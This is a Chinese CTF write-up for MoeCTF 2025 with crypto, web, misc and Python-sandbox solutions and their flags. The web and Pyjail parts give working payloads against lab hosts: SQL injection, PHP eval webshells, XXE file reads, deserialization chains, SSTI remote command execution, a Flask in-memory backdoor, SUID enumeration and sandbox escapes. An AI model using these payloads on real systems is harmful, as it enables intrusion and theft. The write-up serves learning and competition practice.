Moectf2025-webmisccrypto (持续更新
moectf2025:
签到:
提示里面有
---> moectf{Welcome_to_MoeCTF_2025} <---
Crypto
入门:
#!/usr/bin/env python3
# decrypt_elgamal.py
# Requires pycryptodome (for Crypto.Util.number)
# pip install pycryptodomefrom Crypto.Util.number import inverse, long_to_bytes# --- paste the parameters exactly as integers below ---
p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863g = 2y = 8313424783366011287014623582773521595333285291380540689467073212212931648415580065207081449784135835711205324186662482526357834042013400765421925274271853c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214
# --------------------------------------------------def elgamal_decrypt(p, c1, c2, x):# compute s = c1^x mod ps = pow(c1, x, p)# compute s^{-1} mod ps_inv = inverse(s, p)# recover message integer mm = (c2 * s_inv) % preturn mif __name__ == "__main__":m = elgamal_decrypt(p, c1, c2, x)try:flag_bytes = long_to_bytes(m)# print raw bytes repr and attempt decode as utf-8print("Recovered bytes (repr):", repr(flag_bytes))try:print("Recovered as UTF-8 string:")print(flag_bytes.decode('utf-8'))except Exception:print("Note: could not decode as UTF-8. Inspect bytes above.")except Exception as e:print("Error converting integer to bytes:", e)print("Integer m:", m)
ez_des
from Crypto.Cipher import DES
import itertools, string, time, sys, reciphertext = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07'
prefix = 'ezdes'
chars = string.ascii_letters + string.digits + string.punctuationstart = time.time()
tried = 0
found = Nonepattern = re.compile(b'moectf\\{[^\\}]{1,100}\\}') # expect something like moectf{...}for combo in itertools.product(chars, repeat=3):key = (prefix + ''.join(combo)).encode('utf-8')des = DES.new(key, DES.MODE_ECB)plain = des.decrypt(ciphertext)m = pattern.search(plain)tried += 1if m:found = (key, m.group().decode('utf-8', errors='replace'), plain)print("FOUND! key =", key, "flag =", m.group().decode('utf-8', errors='replace'))break# print progress occasionallyif tried % 50000 == 0:elapsed = time.time() - startrate = tried/elapsedprint(f"tried={tried}, rate={rate:.0f} keys/sec, elapsed={elapsed:.1f}s", flush=True)end = time.time()
if not found:print("No match found in the full search.", "tried =", tried)
else:print("Done. Tried:", tried, "Time:", end-start)# For user's inspection, also print the full decrypted plaintext bytes for the found key (if any)
if found:key, flag, full_plain = foundprint("\nFull decrypted plaintext bytes (escaped):")print(full_plain)print("\nAs utf-8 (with replacement for non-printable):")print(full_plain.decode('utf-8', errors='replace'))
正在提交: moectf{_Ju5t envmEra+e.!}
最小神秘数字
# def bsgs(base, target, modulus):
# """
# Baby-Step Giant-Step 解离散对数: base^x ≡ target (mod modulus)
# 返回最小的正整数 x
# """
# base %= modulus
# target %= modulus
#
# m = int(modulus ** 0.5) + 1
# # 存储 base^j -> j
# table = {}
# e = 1
# for j in range(m):
# if e in table:
# break
# table[e] = j
# e = (e * base) % modulus
#
# # 计算 base^(-m) mod modulus
# factor = pow(base, modulus - 1 - m, modulus)
#
# gamma = target
# for i in range(m):
# if gamma in table:
# return i * m + table[gamma]
# gamma = (gamma * factor) % modulus
# return None
#
#
# def main():
# m = 10000000000099
# base = 10
# target = 1030627 # 1 + 114514 * 9
#
# N = bsgs(base, target, m)
# print(f"最小的 N = {N}")
#
# # 验证
# Rn = (pow(10, N, 9 * m) - 1) // 9
# if Rn % m == 114514:
# print("验证成功!")
# else:
# print("验证失败!")
#
#
# if __name__ == "__main__":
# main()from math import isqrt
import sysM = 10000000000099
target = (9 * 114514 + 1) % M # 1030627
g = 10 % Mdef bsgs(g, target, mod):"""Solve g^x = target (mod mod), return x or None"""if target == 1:return 0m = isqrt(mod) + 1baby = {}cur = 1for j in range(m):if cur not in baby:baby[cur] = jcur = (cur * g) % modfactor = pow(g, m, mod)cur = targetfor i in range(m+1):if cur in baby:return i * m + baby[cur]cur = (cur * factor) % modreturn Nonedef multiplicative_order(g, mod):"""Find order of g mod mod (brute force factorization of totient not possible here, so fallback)"""# We cannot factor M-1 directly (too large), so fallback to cycle detection.seen = {}cur = 1for i in range(1, 10**7): # limit for safetycur = (cur * g) % modif cur == 1:return iif cur in seen:breakseen[cur] = ireturn None# Step 1: BSGS
N0 = bsgs(g, target, M)
print("One solution N0 =", N0)# Step 2: Try to confirm with direct computation
check_val = pow(g, N0, M)
print("10^N0 mod M =", check_val, "expected", target)
print("Check (10^N0-1)/9 mod M =", ((check_val - 1) * pow(9, -1, M)) % M)# Step 3: Try to find another solution by exploring multiples of order
ord10 = multiplicative_order(g, M)
print("Order of 10 mod M (maybe truncated) =", ord10)if ord10:alt = (N0 + ord10) % (M-1)print("Another candidate N =", alt)print("10^alt mod M =", pow(10, alt, M))7718260004383
2281743386085
ezBSGS:
# 依旧ai神力
from math import isqrtdef BSGS(a, b, p):a %= pb %= pif b == 1:return 0n = isqrt(p) + 1baby = {}cur = 1# baby stepsfor j in range(n):if cur not in baby:baby[cur] = jcur = (cur * a) % p# a^{-n}an = pow(a, n * (p - 2), p) # 因为p可能是质数,也可能不是,但先尝试费马逆元cur = bfor i in range(n):if cur in baby:return i * n + baby[cur]cur = (cur * an) % preturn Nonep = 100000000000099
a = 13
b = 114514x = BSGS(a, b, p)
print("Flag:", x)
web:
111
签到
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}
第一章 神秘的手镯:
第二章 初识金曦玄轨
第三章 问剑石!篡天改命!
第四章 金曦破禁与七绝傀儡阵
1:
获得玉简碎片: bW9lY3Rme0Mw
获得玉简碎片: bjZyNDd1MTQ3
获得玉简碎片: MTBuNV95MHVy
获得玉简碎片: X2g3N1BfbDN2
获得玉简碎片: M2xfMTVfcjM0
获得玉简碎片: bGx5X2gxOWgh
获得玉简碎片: fQ==
2:
3:
4:
5:
6:
7:
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
第五章 打上门来!
moectf{@1L-1npuT-IS-mal1Ci0uSfe8bf5}
第六章 藏经禁制?玄机初探!
moectf{W31c0Me-To_SQl-lNJEcTiOnll5cf658e}
第七章 灵蛛探穴与阴阳双生符
robots.txt
a!=b 且 md5值相等,
/flag.php?a=QNKCDZO&b=240610708
moectf{Md5-1S-Not_5af3l!275cede1962}
第八章 天衍真言,星图显圣:
http://192.168.119.1:37984/?username=0&password='||%20-1%23 返回admin
http://192.168.119.1:37984/?username=0&password='||%200%23 无返回
盲注
出了一个user
http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/database(),2%23&password=1'union/**/select/**/1,2,3||'1
Welcome flag,users
http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/group_concat(table_name),2/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='user'%23&password=1
value
http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/group_concat(column_name),2/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema='user'and/**/table_name='flag'%23&password=1
Welcome moectf{uN1On-6@sEd-sQ11_FtWl19bb9af2f}
http://192.168.119.1:37984/?username=1'/**/Union/**/select/**/*,2/**/FROM/**/user.flag%23&password=1
Moe笑传之猜猜爆
222
第九章 星墟禁制·天机问路
写马
128.0.0.1;echo "<?php eval(\$_POST[2]);?>" > ./2.php
写马之后发发现在env里
第十章 天机符阵
这对吗?
第十一章 千机变·破妄之眼
from itertools import permutationsletters = ['m', 'n', 'o', 'p', 'q']with open('param.txt', 'w', encoding='utf-8') as f:for p in permutations(letters):f.write(''.join(p) + '\n') # 每个排列写一行print("已生成 param.txt,总数:", 5*4*3*2*1)
然后就去爆破就可以了。
noqpm
<?php
echo "flag就在这了,看不到吗,是老弟境界不够吧";
//moectf{546b1e43-2a08-3a50-f287-1c5d3b7f53bd}
这是...Webshell?:
第十章 天机符阵_revenge
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///flag.txt">]>
<root><解析>&file;</解析></root>
摸金偶遇FLAG,拼尽全力难战胜
主要是访问这两个url
http://192.168.119.1:31059/get_challenge?count=9
和
http://192.168.119.1:31059/verify
import requestsBASE_URL = "http://192.168.119.1:31059"HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept": "*/*","Referer": f"{BASE_URL}/","Origin": BASE_URL,
}def main():with requests.Session() as s:s.headers.update(HEADERS)# 第一步:获取 challengeresp = s.get(f"{BASE_URL}/get_challenge?count=9")resp.raise_for_status()data = resp.json()numbers, token = data["numbers"], data["token"]print(f"获取到的数字: {numbers}, token: {token}")# 第二步:提交答案resp = s.post(f"{BASE_URL}/verify", json={"answers": numbers, "token": token})if resp.status_code == 200:result = resp.json()if result.get("correct"):print("破译成功,flag:", result.get("flag"))else:print("破译失败:", result.get("message"))else:print("POST /verify 仍返回状态码:", resp.status_code)if __name__ == "__main__":main()
第十二章 玉魄玄关·破妄
第十三章 通幽关·灵纹诡影
图片马 从jpg改php即可
moectf{e2619f6f-7b50-fa3b-1bed-58f2e4443417}
第十四章 御神关·补天玉碑
先传.htaccess
<FilesMatch "webshell">
Sethandler application/x-httpd-php
</FilesMatch>
然后传一个 带有webshell的马即可
333
神秘的手镯_revenge
根据逻辑提交500次即可 :
爆破500次即可
第十五章 归真关·竞时净魔
<?php
$f= fopen ("test.php","w") ;
fputs ($f,'<?php phpinfo();?>');
?>
爆破
POST /upload.php HTTP/1.1
Host: 192.168.119.1:6661
Content-Length: 464
Cache-Control: max-age=0
Origin: http://192.168.119.1:6661
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQcda1U35nS09yTb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.119.1:6661/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive------WebKitFormBoundaryFQcda1U35nS09yTb
Content-Disposition: form-data; name="upload_file"; filename="jingzheng.php"
Content-Type: application/octet-stream<?php
$file = fopen("/var/www/html/uploads/shell.php","w");
$payload="<?php phpinfo();@eval(\$_POST[1]);?>";
fwrite($file,$payload);
fclose($file);
?>------WebKitFormBoundaryFQcda1U35nS09yTb
Content-Disposition: form-data; name="submit"ä¸ä¼
------WebKitFormBoundaryFQcda1U35nS09yTb--
请求包:GET /uploads/jingzheng.php HTTP/1.1
Host: 192.168.119.1:6661
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive1=system('nl /f*');
1 moectf{bc357036-4ed6-249c-7cc6-3f376e5c2b62}
第十六章 昆仑星途
第十七章 星骸迷阵·神念重构
链子
<?php
highlight_file(__FILE__);class A {public $a;function __destruct() {eval($this->a);}
}
$aa = new A();
$aa->a = "system('ls /');";
echo serialize($aa);
http://192.168.119.1:7617/?a=O:1:"A":1:{s:1:"a";s:17:"system('nl /f*');";}
第十八章 万卷诡阁·功法连环
name 是一个私有属性,私有属性我们是不能直接通过属性赋值的。但是后面可以手动修改
public function __construct() {
$this->name = new PersonB();
}
<?php
highlight_file(__FILE__);class PersonA {public $name;public function __construct() {$this->name = new PersonB();}function __wakeup() {$name=$this->name;$name->work();}
}class PersonB {public $name;public function __construct() {$this->name = "system('ls /');";}}
$A = new PersonA();
echo serialize($A);
http://192.168.119.1:50568/?person=O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:17:"system('nl /f*');";}}} 1 moectf{bbcb4065-8bff-8187-20b0-7823c2c47baa}
第十九章 星穹真相·补天归源
用不到B因为是public属性,直接从A到C调用它的__Check函数就行了<?php
highlight_file(__FILE__);class Person
{public $name;public $id;public $age;public function __invoke($id){$name = $this->id;$name->name = $id;$name->age = $this->name;}
}class PersonA extends Person
{}class PersonC extends Person
{public function __Check($age){$name = $this->name;$name($age);}public function __wakeup(){$age = $this->age;$name = $this->id;$name->age = $age;$name($this);}
}
$a = new PersonA();
$a->name=new PersonC();
$a->id="__Check";
$a->age="ls /";
$a->name->name="system";
echo serialize($a);
http://192.168.119.1:14551/?person=O:7:%22PersonA%22:3:{s:4:%22name%22;O:7:%22PersonC%22:3:{s:4:%22name%22;s:6:%22system%22;s:2:%22id%22;N;s:3:%22age%22;N;}s:2:%22id%22;s:7:%22__Check%22;s:3:%22age%22;s:6:%22nl%20/f*%22;}
第十九 reverse
http://192.168.119.1:53031/?person=O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:5:"check";s:3:"age";s:4:"ls /";}
在 env中
禁用了system 用 passthru就行了
$a = new PersonA();
$a->name=new PersonC();
$a->id="check";
$a->age="ls";
$a->name->name="passthru";
echo serialize($a);moectf{5f3195b3-0a8d-6403-7b21-a73b0b8f04f8} NULL
第二十章 幽冥血海·幻语心魔
ssti 梭哈就行了
{{(ez.__eq__.__globals__.sys.modules.os.popen('nl /f*')).read()}}"}
第二十一章 往生漩涡·言灵死局
blacklist = ["__", "global", "{{", "}}"]
过滤了下划线和 global 左右花括号
+号绕过下画线:
可以使用unicode编码 绕过
{%print lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("os")|attr("\u0070\u006f\u0070\u0065\u006e")("ls /")|attr("\u0072\u0065\u0061\u0064")()%}
{%print lipsum
|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")
|attr("\u0067\u0065\u0074")("os")
|attr("\u0070\u006f\u0070\u0065\u006e")("nl /f*")
|attr("\u0072\u0065\u0061\u0064")()%}
第二十二章 血海核心·千年手段
打内存马
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
有flag但是拿不到 好难受。 ls -al 发现 权限是不够的
在/usr/bin/
提权
http://192.168.119.1:40701/?cmd=echo%20`find / -user root -perm -4000 -print 2>/dev/null`
继续利用 echo把内容输出出来
http://192.168.119.1:43115/?cmd=echo "$(base64 /usr/bin/rev)"
用ida反编译一下
“启动自己时,只要带上 --HDdss
选项,就会把这个选项之后的所有参数当作命令去执行。”
第二十三章 幻境迷心·皇陨星沉(大结局)
搜反序列化链子
moectf指导版
这是...Webshell
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);_=system('ls /') _=system('nl /f*')
moectf{784ac8cf-bef7-9446-b80b-06554c169b8a}
这是...Webshell_reverse?
【迎中秋】公开赛writeup|Web-BabyExec
POST /?shell=?%3E%3C?=`.+/???/????????[?-[]`;?> HTTP/1.1
Host: 192.168.119.1:1120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJxFy0EOQDAQBdC7_PVEqI7Sq4hItRMSVEKtxN2JjcVbvgt-cssicRTYC34XlyT0LsEWhutcseEq040qTEmI5zrIfsC2igzlH6aSatIdIW2zRFj88X29VM6HgRXu-wHRux5L.aMlYHA.XI9fo45n9mZaKDRA-eDeZkkMN8U
Connection: keep-alive
Content-Type:multipart/form-data;boundary=--------Rsecret2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 128----------Rsecret2
Content-Disposition:form-data;name="file";filename="Rsecret2.txt"#!/bin/sh
nl /f*
----------Rsecret2--
moectf{ecb63443-554c-e769-a68e-e99272a3c536}
渗透
java -jar demo.jar --server.port=9090
起一下服务。
misc:
111
ez_LSB:
└─# echo "bW9lY3Rme0xTQl8xc19zMF8xbnQzcmVzdDFuZyEhc2o5d2R9" | base64 -dmoectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}
SSTV:
moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}
捂住一只耳:
很明显的莫斯
..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-
FLAGIS:HALF_RADIO_IN_XDU
HALF_RADIO_IN_XDU
Enchantment:
标准银河字母
moectf{now_you_have_mastered_enchanting}
ez_png:
zlib-flate 不接受直接在命令行写输入文件作为参数,它只能从 标准输入 (stdin) 读取数据,然后把结果输出到 标准输出 (stdout)。
zlib-flate -uncompress < '/root/misc/_ez_png.png.extracted/3E.zlib' > 123zlib-flate -uncompress < '/root/misc/_ez_png.png.extracted/DB7C7.zlib' > 12
moectf{h1DdEn_P4YlOaD_IN-Id4T}
222
Rush
StegSolve 找第12帧
扫二维码即可 moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}
ez_锟斤拷????
用户把 UTF-8 编码的文本用 GBK/GB18030(Windows 下常说的“ANSI”)去解释/保存了一次,
导致字符被错误地映射为这些像 锝、綇 这样的字符。
要复原,思路是把当前字符串当作 GBK 字节序列再按 UTF-8 解回来,恢复出原始字符(此次得到的是全角拉丁字母,需要再做全角→半角规范化)。
import unicodedata# 读取 1.txt 里的乱码(UTF-8 读)
with open("C:/Users/Rsecret2/Desktop/nothing/flag.txt", "r", encoding="utf-8") as f:s = f.read()
# 关键:当作 GBK 字节再解成 UTF-8
fixed = s.encode("gbk", errors="replace").decode("utf-8", errors="replace")
# 转为半角并取第一段作为 flag
flag_halfwidth = unicodedata.normalize("NFKC", fixed).split()[0]
print("恢复后的完整文本:")
print(fixed)
print("\n半角 flag:")
print(flag_halfwidth)
encrypted_pdf
pdfcrack 破解 密码 qwe123
矢量化 pdf
提到了和入门指北差不多 ,直接就找隐藏文字 然后就找到了
ez_ssl:
导入之后发现有个zip
CLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
导入TSL
有zip
导出
moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}
万里挑一
先提取密码,再密码攻击
import zipfile
import io# 保存密码的文件
output_file = "pass.txt"# 递归函数,用于处理嵌套zip
def extract_passwords(zip_bytes, level=1):passwords = []with zipfile.ZipFile(io.BytesIO(zip_bytes)) as z:for name in z.namelist():if name.endswith(".zip"):# 读取子zip文件的二进制内容sub_zip_bytes = z.read(name)# 递归调用passwords.extend(extract_passwords(sub_zip_bytes, level + 1))elif name.endswith("pwd.txt"):content = z.read(name).decode('utf-8').strip()# 提取密码部分if "The password is:" in content:pwd = content.split("The password is:")[1].strip()passwords.append(pwd)return passwords# 主程序
if __name__ == "__main__":all_passwords = []with open("password.zip", "rb") as f:zip_bytes = f.read()all_passwords = extract_passwords(zip_bytes)# 保存到文件with open(output_file, "w") as f:for pwd in all_passwords:f.write(pwd + "\n")print(f"已提取 {len(all_passwords)} 个密码到 {output_file}")
a296a5ec1385f394e8cb
发现压缩包内,对flag.txt的加密方式为“ZipCrypto”,这是一种旧版的ZIP加密算法,里面存在明文攻击漏洞
This program cannot be run in DOS mode. 在明文.exe中
#准备明文echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
time bkcrack -C nc64.zip -c 明文.exe -p mingwen -o 64
┌──(root㉿kali)-[~/misc]
└─# time bkcrack -C flag.zip -c "<e6><98><8e><e6><96><87>.exe" -p mingwen -o 64bkcrack 1.8.0 - 2025-08-18
[23:02:03] Z reduction using 56 bytes of known plaintext
100.0 % (56 / 56)
[23:02:04] Attack on 143281 Z values at index 71
Keys: eec878a3 6808e48f 3aa41bd8
73.3 % (105033 / 143281)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 105033
[23:03:24] Keys
eec878a3 6808e48f 3aa41bd8real 81.08s
user 480.99s
sys 0.14s
cpu 593%
bkcrack -C flag.zip -c "<e6><98><8e><e6><96><87>.exe" -k eec878a3 6808e48f 3aa41bd8 -d 3.exe
然后回到 win 压缩 3.exe 拿着秘钥去明文即可
moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}
333
2048_master
目录
moectf2025:
签到:
Crypto
入门:
ez_des
ezBSGS:
web:
111
签到
第一章 神秘的手镯:
第二章 初识金曦玄轨
第三章 问剑石!篡天改命!
第四章 金曦破禁与七绝傀儡阵
1:
2:
3:
4:
5:
6:
7:
第五章 打上门来!
第六章 藏经禁制?玄机初探!
第七章 灵蛛探穴与阴阳双生符
第八章 天衍真言,星图显圣:
Moe笑传之猜猜爆
222
第九章 星墟禁制·天机问路
第十章 天机符阵
第十一章 千机变·破妄之眼
这是...Webshell?:
第十章 天机符阵_revenge
摸金偶遇FLAG,拼尽全力难战胜
第十二章 玉魄玄关·破妄
第十三章 通幽关·灵纹诡影
第十四章 御神关·补天玉碑
333
神秘的手镯_revenge
第十五章 归真关·竞时净魔
第十六章 昆仑星途
第十七章 星骸迷阵·神念重构
第十八章 万卷诡阁·功法连环
第十九章 星穹真相·补天归源
第十九 reverse
第二十章 幽冥血海·幻语心魔
第二十一章 往生漩涡·言灵死局
第二十二章 血海核心·千年手段
第二十三章 幻境迷心·皇陨星沉(大结局)
moectf指导版
这是...Webshell
这是...Webshell_reverse?
渗透
misc:
111
ez_LSB:
SSTV:
捂住一只耳:
Enchantment:
ez_png:
222
Rush
ez_锟斤拷????
encrypted_pdf
ez_ssl:
万里挑一
333
2048_master
weird_photo
WebRepo
Encrypted volume
444
Pyjail 0
Pyjail 1
Pyjail 2
Pyjail 3
Pyjail 4
Pyjail 5
玩游戏多个dat文件 ,直接打开,刚好对应的是16个格子 修改后保存,再打开
weird_photo
WebRepo
7z模版
``
┌──(root㉿kali)-[~/misc]
└─# git log -- flag.txt
commit 249ff41401736165cd4514cee7afcd31ecfe7d09 (HEAD -> master)
Author: test <test@example.com>
Date: Tue Aug 19 22:33:29 2025 +0800flag┌──(root㉿kali)-[~/misc]
└─# git restore --source=HEAD --staged --worktree -- flag.txtgit show 249ff41:flag.txt > new_flag.txt
git show 249ff41401736165cd4514cee7afcd31ecfe7d09
git restore --source=HEAD --staged --worktree -- flag.txt
提取出一个flag.txt
Encrypted volume
:@(s<"A3F:89x541Ux[<
:@(s<"A3F:89x541Ux[<
BrainFuck解码:moectf{nOW_YoU-h4V3_UNlocKED-VOlumE}
444
哈基米南美鲁多
Pyjail 0
from pwn import *host = "192.168.119.1"
port = 11908# 连接远程服务
r = remote(host, port)# 打印服务发送的第一条信息(通常是验证码提示)
print(r.recvline().decode())# 直接进入交互模式,不做任何处理
r.interactive()#/proc/self/environ
Pyjail 1
def chall():user_input = input("Give me your code: ")# 过滤关键字forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']for keyword in forbidden_keywords:if keyword in user_input:print(f"Forbidden keyword detected: {keyword}")returnresult = eval(user_input)
先breakpoint()再 拿交互shell就行了__import__('os').system('sh')cat /tmp/f*moectf{49943a91-751a-2c66-7c55-4ccf0aab8a2c}
Pyjail 2
def chall():user_input = input("Give me your code: ")# 过滤关键字forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']for keyword in forbidden_keywords:if keyword in user_input:print(f"Forbidden keyword detected: {keyword}")return# 过滤特殊字符forbidden_chars = ['.', '_', '[', ']', "'", '"']for char in forbidden_chars:if char in user_input:print(f"Forbidden character detected: {char}")returnresult = eval(user_input)
??? 刚好上题继续梭哈
Please enter the reverse of 'OM43JUES' to continue: seuj34mo
Give me your code: breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('sh')
ls
main.py
wrapper.sh
cat /tmp/f*
moectf{45ef2f8e-4918-910c-13b4-506bc95f022d}
Pyjail 3
def chall():user_input = input("Give me your code: ")try:result = eval(user_input, {"__builtins__": None}, {})# Hint: When __builtins__ is None, you need to be more creative...print("Code executed successfully!")if result is not None:print(f"Return value: {result}")except Exception as e:print(f"Execution error: {type(e).__name__}: {e}")
把变量 user_input
中的字符串,当成一个 纯表达式 来求值。
Please enter the reverse of 'NWWBJCXE' to continue: excjbwwn
Give me your code: ().__class__.__mro__[1].__subclasses__()[155]
Code executed successfully!
Return value: <class 'os._wrap_close'>
Please enter the reverse of 'Y5NAMEEB' to continue:
Please enter the reverse of 'G7MTLZXA' to continue: axzltm7g
Give me your code: ().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read()
Code executed successfully!
Return value: moectf{406fe97a-aeb3-0b20-5902-8e00148ba1f6}().__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('cat /tmp/f*').read()
Pyjail 4
注意:此题解题方式与 Pyjail 3 大不相同,不要惯性思维
https://ihsvcpub.us-west-1.clawcloudrun.com/2025/05/10/2025-minil-wp/builtins.exec("builtins.__import__('os').system('ls')")
def f():global x, frameframe = x.gi_frame.f_back.f_back.f_globalsyield
x = f()
x.send(None)
raise Exception(frame) #base64
第八个
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():global x, frameframe = x.gi_frame.f_back.f_back.f_globalsyield
x = f()
x.send(None)
if frame['__builtins__']:print(1)
def f():global x, frameframe = x.gi_frame.f_back.f_back.f_globalsyield
x = f()
x.send(None)
raise Exception(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())
https://www.tremse.cn/2025/05/15/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#pyboxminil-2025直接梭哈
list=lambda x:True
len=lambda x:False
try:raise Exception
except Exception as e:globals = e.__traceback__.tb_frame.f_back.f_globalsglobals['RestrictedNodeVisitor'].visit_Attribute=lambda x,y:Noneos = globals["sys"].modules["os"]os.system("cat /tmp/f*")
Pyjail 5
利用 AttributeError.obj
从报错中获取对象,
参考文章 https://pid-blog.com/article/noval-pyjail-tricks
利用 Python 异常这件事本身并不新鲜,一般是通过sys.exc_info()
或e.__traceback__
拿到报错栈帧对象,然后在栈上回溯以求逃逸。这是一个通用方法。
在 Python 的内置异常类型中,AttributeError
具有一个obj属性,可以直接访问到抛出异常的对象——这个方法则是AttributeError
独有的。
一个用法是,结合str.format
,绕过过滤获取getitem
/setitem
:
class Foo:bar = 114514
foo = Foo()match foo:case Foo(bar=val): # Foo 为 foo 对应的类,可用 object 替换print(val) # val 即为 foo.bar
然后我们可以将 Pyjail 4 的 Payload 改成这样:
def f():global x, frame# frame = x.gi_framematch x:case object(gi_frame=val):frame = val# while frame.f_back: # 向上回溯到最外层# frame = frame.f_back tmp = framewhile tmp:frame = tmpmatch frame:case object(f_back=val):tmp = valyield
x = f()# x.send(None)
match x:case object(send=val):val(None)# builtins = frame.f_globals['__builtins__']
match frame: # type: ignore 防止 Pylance 报错,因为 frame 是动态生成的case object(f_globals=val):builtins = val['__builtins__']# getattr = builtins.getattr # 恢复 getattr 方法,从而避免直接访问 __import__ 属性
match builtins:case object(getattr=val):myGetattr = valmyGetattr(myGetattr(builtins, '__import__')('os'),('system'))('sh')